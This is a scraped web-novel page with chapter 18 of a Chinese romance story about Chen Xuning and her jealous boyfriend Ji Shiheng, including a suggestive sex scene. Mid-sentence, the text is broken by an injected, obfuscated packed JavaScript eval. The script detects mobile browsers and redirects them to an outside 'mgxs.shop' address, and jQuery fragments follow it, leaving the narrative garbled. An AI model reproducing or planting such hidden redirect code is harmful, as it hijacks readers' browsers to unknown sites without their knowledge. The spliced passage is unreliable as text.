文趣网 > 都市小说 > 骑士病 > 18. 第 18 章
    陈叙宁发誓自己这一辈子不会再提自己是他姐姐这件事了。

    这家伙就是狗,一听姐姐弟弟就应激,恨不得将她吞吃入腹。

    只记得他直接在自己面前脱光了上衣,高大身躯朝她缓缓逼近。

    她立马抱住自己往一边躲,面露防备:“你要干嘛?”

    “你。”

    “你什么……嗯?!”

    陈叙宁反应过来后脸腾地烧了起来,头皮一阵阵发麻,结结巴巴道:“不、不行,我没同意!”

    “可你昨天睡了我,”纪时珩挑眉,“而且我们复合了。”

    这意味着进行一些亲密行为也是正常的。

    男人高大的身躯压过来,宽肩窄腰,漂亮的人鱼线往下延伸至裤缝里,陈叙宁眼睛瞪得老大,然后被他无情地拉进了浴室。

    雾气腾腾,热气缭绕,一只手仓促地擦过镜面,露出朦胧里的一点画面。

    陈叙宁小臂撑在墙上,简直要喘不过气来,差点溺毙在这灼热的狭小空间里,周围全是纪时珩的味道,她难耐地喘了一声,用手推开腰侧的脑袋,全是水滑了好几次推不动,眨眼间被握住反捆到身后。

    身子颤了又颤,他很快又附身上来,勾住她的唇,轻轻舔蹭,要夺走她最后一点空气,彻底沉沦在他的气味中。

    他手上的动作也不停,浪潮一波接着一波打来,陈叙宁到后来又被他弄哭了,甚至还打了他一巴掌。

    但他这个疯子,顶着巴掌印舌尖舔过嘴唇,上面还有她的味道,笑得肆意。

    随后陈叙宁就被转移到了床上,直至天空微亮,她才沉沉睡去。

    纪时珩将她抱得很紧,让她整个人埋进自己怀里,时不时亲昵地蹭一下她的耳朵,摸一摸她的脸。

    陈叙宁醒来时已经接近中午了,浑身酸痛得不行,被他抱着动也动不了,眼前就是他饱满的胸肌,回想起昨晚的一切,她简直要哭了,气不打一处来,对着他胸口就是一拳。

    纪时珩早就醒了,这会儿及时地抓住她手腕拦下这一拳,将她拉到了自己身上,双手搭在她背上,埋进她脖子里紧贴着。

    陈叙宁痒得身子一缩,不小心蹭到了某个地方后倏地顿住不敢乱动了。

    过了一会儿纪时珩才放开了她,她坐在床上,身上穿着不知道时候他从哪里弄来的衣服,望着他健硕的背影,小声骂了句“臭狗”。

    纪时珩轻笑,假装没听见。

    上车的时候陈叙宁明显注意到江助的眼神不对,她就知道!

    先前在酒店洗漱,她本来一点都不想进那个地方,但又不能不收拾,于是忍着羞耻进去,一照镜子就发现了自己脖子上的斑斑点点。

    那衣服领子还比较低,她怎么拉都遮不住,她气愤地走出去一看,纪时珩在带袖扣,动作不急不慢,她用眼神甩了无数刀片出去,然后恨恨地忍下了。

    陈叙宁生气了,纪时珩和她说话也不理,看得江助在前面战战兢兢,但老板好像跟没事人一样,看起来心情还很好。

    她挨着车窗坐得离他远远的,不知道是不是车太好了加上江助车技实在好,还是太累了,歪着脑袋没一会儿就睡着了。

    路途遥远,她的脑袋磕在窗户上磕磕碰碰发出闷响,下一秒就转移到了纪时珩的腿上,他看着手机,另一只手捏着她一小缕头发玩,缠绕在指尖又松开。

    陈叙宁都不知道自己怎么就睡过去了,她懵然睁开眼,发现自己正躺在某人的腿上,恍恍惚惚和后视镜里的江助对上视线,腾地一下起身,又想起自己还在生气,立马把嫌弃地把他的腿推开,然后推开门下车,一套动作丝滑无比。

    车内安静下来,纪时珩低头盯着腿上那一小片莫名的深色,笑着说:“回公司。”

    听得前面的江助起了一身鸡皮疙瘩,陷入爱情的人可真可怕。

    陈叙宁回到家先给许笑蓝打了个电话,然后自己换了身衣服,准备去工作室瞧瞧,今天星期一得上班了。

    初稿已经定下了,但陈叙宁量完数据回来,又做了一些改动,现在先要把版做出来,然后准备布料等,事情还挺多的。

    她很快又陷入忙碌中,为了一点收腰细节和余烦商讨到晚上,小戴都在一边打瞌睡了,她用尺子撑着脸听着她们争论,忽然注意到老板放在一边的手机振动了半天,不过嗡嗡声也并没有吸引到那两人的注意。

    见停了又响,持续了很久,而老板他们也停了下来,两个脑袋凑在一起盯着稿子不说话,她还是提醒道:“老板,你手机一直在响。”

    “嗯?”陈叙宁头也没回,象征性地疑惑了一下,又指着裙子和人讨论起来。

    窗外的蝉鸣躁起,陈叙宁一看时间已经快九点了,于是赶紧宣布了下班,到时候回去聊。

    陈叙宁自己留下来又弄了一会儿,等收拾好东西,已经十点了,正要关灯时,发现本来走了的余烦又出现在门口,问道:“有东西忘拿了吗?”

    余烦摇了摇头,说:“姐我送你回去吧,这么晚了。”

    余烦私下里都叫她姐,陈叙宁刚开始还会有点恍惚,后来也就习惯了,因为那人一直叫的都是“姐姐”,有种撒娇的意思,但她听余烦这么叫就没有这种感觉,她本来就比他大好几岁,叫姐也正常,这样也能拉近关系。

    此时听见他这么说,感慨现在的小男该可真贴心,便笑着说:“我要你送什么,打个车就回去了。”

    “楼下的路灯坏了,很黑。”他解释,“而且附近不知道哪里来了很多流浪狗,半夜经常结队出来。”

    “啊。”陈叙宁顿时寒毛竖起,“那麻烦你了。”

    她边换鞋子边问:“你也送了小戴吗,她怕不怕?”

    余烦在门口等着,说送了她之后再回来的。

    “这么绅士?不错不错。”陈叙宁打趣道。

    余烦跟在身后下楼,一贯淡漠平静的眼并没有因为这句话有丁点起伏,反而在注意到她脖子上的红点时,起了点涟漪,他没有说话。

    一到楼下,陈叙宁自动开启紧张防御模式,一点响动就能让她吓一跳,幸好身边还有个人在,走到一半,还没见到狗,但确实听到了狗叫,像是就在附近,她连忙加快了步子。

    等到路口,她就不用他送了,催他也赶紧回去,明天还要上班,早点休息。

    这时恰好来了一辆出租车,余烦家远,和她完全是两个方向,陈叙宁硬把他先推上来车,再在路边边走边等,但这边比较偏僻,街上空空荡荡,打滴滴都要等好一会儿,她打算去找附近的小电驴骑。

    夜风牵起裙摆,这件裙子还是纪时珩给她换的,布料很舒服也很贴身,但就算是她,也没认出这是什么牌子。

    但觉得设计得真好,轻盈又舒适,虽然简单但很显气质。

    她走着走着开始研究起身上的裙子来,没有注意到停在路边很久的一辆黑车。

    陈叙宁突然停住,下意识侧头看去。

    车窗缓缓降下,一点昏暗灯光泄出来,男人倚在座椅里,黑夜化作无边背景,露出朦胧孤冷的侧脸。

    他掀起眼皮朝这边看过来,那双

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645197|206431||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼睛被夜色勾勒得沉寂晦暗,仿佛被蛇冷冷地注视,那是一种很危险的预兆。

    陈叙宁坐上了副驾,从后视镜里偷偷观察他的表情,不知道为什么心里会有一种被抓奸的错觉。

    于是有些试探地问他:“你怎么来了?”

    纪时珩一言不发,过了一会儿居然笑了,说:“来接我女朋友回家。”

    “没想到还要排队。”他讥讽地勾了勾嘴角。

    陈叙宁想了好半晌才体会到他话里的阴阳,皱眉道:“不是,那就是工作室里的一个弟弟,见太晚了就送一送,这很正常啊。”

    “正常……”

    纪时珩嘴里默念这个词语,旋即不再说话了。

    窗外街景迅速闪过,陈叙宁瞥了一眼又瞥一眼,车内沉闷的氛围压得她有点难受,小声开口:“你生气了?”

    纪时珩望着前方:“我不生气。”

    “毕竟只是你弟弟,很正常。”最后几个词从嗓子眼里挤出来似的。

    陈叙宁无奈闭嘴,这时手机亮了,是余烦在问她上车没有,她回复刚上车,再退出来往上一翻,就发现了通知栏那里有一连串的未接电话,没有备注,可她知道那是谁的。

    她倒吸一口凉气,手机有时候会吞信息和通知,之前小戴提醒了她也没在意,从八点半一直断断续续打到九点多,中间还发了很多条信息,都是问她在哪,下班没有。

    最后隔了半个多小时又发了一句,正好是她在路边等车的时候。

    【你弟弟?】

    陈叙宁心咯噔一下,刷地一下子浑身的汗毛都竖了起来。眼珠悄悄转过去,又转回来,握着手机心里思考该怎么办。

    眼见离家越来越近,她闭上眼很快地说道:“他不是。”

    纪时珩没说话,只是握着方向盘的动作一紧。

    “我说真的,”陈叙宁不敢看他,就自顾自地在那里解释,因为她真的很少哄人,之前都是被哄的那个,“我之前在工作,没看手机,所以……”

    “下次不会了!”

    她睁开一只眼看他,就听他“嗯”了一声,之后再没有交流。

    下车时,陈叙宁又看了他好几眼,不放心地问他:“不生气了吧?”

    纪时珩对她摆摆手:“过来。”

    “过来我就不生气了。”

    陈叙宁半条腿都要迈出去了又收回来,将身子凑过去,然后视线颠倒转眼就被他拉过去,跪坐到了他身上。

    她双手撑在他挺阔的肩膀上,腰被他拢住动弹不得,周身全是他身上好闻的香水味,和独属于他的荷尔蒙气息,脑袋变得晕乎乎的。

    “你……”陈叙宁结结巴巴,眼睛眨得飞快,想要远离,又被他拉得更近。

    纪时珩眼前便是她修长好看的脖颈,上面还能看到昨晚的痕迹,可她就是顶着这样的痕迹和别的男人谈笑风生拉拉扯扯。

    他靠近用鼻尖慢慢磨着,随即一个个吻落在上面,沿着漂亮的锁骨线条轻吮。

    陈叙宁身子猛地一颤,实在受不了这样温柔的攻势,怀中那人脑袋毛茸茸的,发丝一点点滑过蹭动,酥.痒得全身都要蜷缩。

    她抱着纪时珩的脑袋想要推开却在他的动作下一点点抓紧,不自觉地靠近。

    狭小的车内,隔绝了所有喧嚣,两抹身影缠绵。

    陈叙宁趴在他肩上,眼睛无神地望着一边,小口喘着气,嘴唇上还泛着水光。

    纪时珩慢慢顺着她的背,把之前留在车内的一字夹给她夹到了头发上,说道:“明天来接你?”